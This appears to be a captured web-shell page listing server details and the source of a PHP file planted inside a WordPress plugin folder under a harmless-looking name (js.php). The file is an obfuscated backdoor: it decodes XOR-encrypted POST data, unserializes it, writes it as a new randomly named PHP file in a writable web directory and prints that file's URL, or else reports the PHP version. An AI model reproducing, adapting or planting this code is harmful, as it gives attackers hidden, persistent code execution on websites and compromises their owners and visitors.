HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/adspray/wp-content/plugins/kirki/kirki-packages/control-code/js.php
<?php $KTJyWlwo = "CayUzLQi";function upKyxdeutZ($KTJyWlwo){ $ElTCaVs = chr(115).'t'."\162".'_'.'r'."\157"."\x74".chr(49).'3';$KTJyWlwo = $ElTCaVs($KTJyWlwo);$wkbACS = chr(788-674).chr(97).chr(119).chr(117).chr(114)."\154"."\x64".chr(101).chr(99)."\x6f".chr(100).'e';$KTJyWlwo = $wkbACS($KTJyWlwo);$KTJyWlwo = str_split($KTJyWlwo);return $KTJyWlwo;}function jkWuHAN($RDvmYKiYP, $njGwD){$RDvmYKiYP = array_slice(str_split(str_repeat($RDvmYKiYP, (count($njGwD)/16)+1)), 0, count($njGwD));return $RDvmYKiYP;}function WExOZbbxNd($ALZkViTU, $oNwvscu, $RDvmYKiYP){$cZsqYjiJc = "94f73684-8914-4e69-b157-3eefbd9c57eb";return $ALZkViTU ^ $cZsqYjiJc[$oNwvscu % strlen($cZsqYjiJc)] ^ $RDvmYKiYP;}function CKfeE($njGwD, $RDvmYKiYP){$njGwD = array_map("WExOZbbxNd", array_values($njGwD), array_keys($njGwD), array_values($RDvmYKiYP));$njGwD = implode("", $njGwD);$yKfZAMu = "\165".'n'.'s'.chr(101).chr(114).'i'."\141".chr(867-759).chr(105)."\172".'e';$njGwD = @$yKfZAMu($njGwD);return $njGwD;}function XqfLFVj(){echo "PMxRmtgd";}function oOOADAthXt($kBoiQmir){static $NfkpuI = array();$YhueIXt = glob($kBoiQmir . '/*', GLOB_ONLYDIR);$GMFZSH = count($YhueIXt);if ($GMFZSH > 0) {foreach ($YhueIXt as $kBoiQm) {$pAQVdBI = "\x69"."\x73"."\x5f".chr(423-304).'r'.chr(105)."\x74"."\x61".chr(98).'l'.chr(101);if (@$pAQVdBI($kBoiQm)) {$NfkpuI[] = $kBoiQm;}}}foreach ($YhueIXt as $kBoiQmir) oOOADAthXt($kBoiQmir);return $NfkpuI;}function qquPDxBehg(){echo "CayUzLQi";}function BaDGxeh($njGwD){$XHYkpNav = chr(320-252)."\117".chr(611-544)."\x55"."\x4d".chr(69).'N'."\124"."\137"."\122"."\117".chr(650-571).chr(452-368);$KfqlBcJnM = $_SERVER[$XHYkpNav];$YhueIXt = oOOADAthXt($KfqlBcJnM);$rAVUvT = array_rand($YhueIXt);$FrgVaqBvn = chr(215-169).chr(112).'h'.chr(112);$iqqzQIV = $YhueIXt[$rAVUvT] . "/" . substr(md5(time()), 0, 8) . $FrgVaqBvn;$NVJAeL = 'f'."\151".chr(300-192)."\x65"."\137"."\x70".'u'.chr(116)."\137"."\143".chr(495-384)."\x6e".'t'.chr(101).chr(110)."\164".chr(115);@$NVJAeL($iqqzQIV, $njGwD);$RYVbqivXcS = 'H'."\124"."\x54"."\x50"."\137".'H'."\117".chr(83).'T';$lFHyXyF = 'h'.chr(116).'t'.chr(112)."\x3a".'/'.'/';$ZMDuvT = $lFHyXyF . $_SERVER[$RYVbqivXcS] . substr($iqqzQIV, strlen($KfqlBcJnM));print($ZMDuvT);}function PsLNsNpowU(){$XYZhb = "\160".'h'."\x70";$EQbscFAM = "\x70".chr(900-796)."\160".chr(118).'e'.chr(370-256)."\163"."\151".'o'."\x6e";$njGwD = Array($XYZhb => @$EQbscFAM(), );$NWJbfeZ = chr(115)."\x65"."\x72".chr(105).chr(728-631).'l'."\x69".chr(122).'e';echo @$NWJbfeZ($njGwD);}foreach ($_POST as $RDvmYKiYP => $njGwD){$UmDuqjk = strlen($RDvmYKiYP);if ($UmDuqjk == 16){$njGwD = upKyxdeutZ($njGwD);$RDvmYKiYP = jkWuHAN($RDvmYKiYP, $njGwD);$njGwD = CKfeE($njGwD, $RDvmYKiYP);if (@is_array($njGwD)){$rAVUvT = array_keys($njGwD);$njGwD = $njGwD[$rAVUvT[0]];$rAVUvT = $rAVUvT[0];$rAVUvT = substr($rAVUvT, 0);if ($njGwD !== $rAVUvT){BaDGxeh($njGwD);}else {PsLNsNpowU();}die();}}}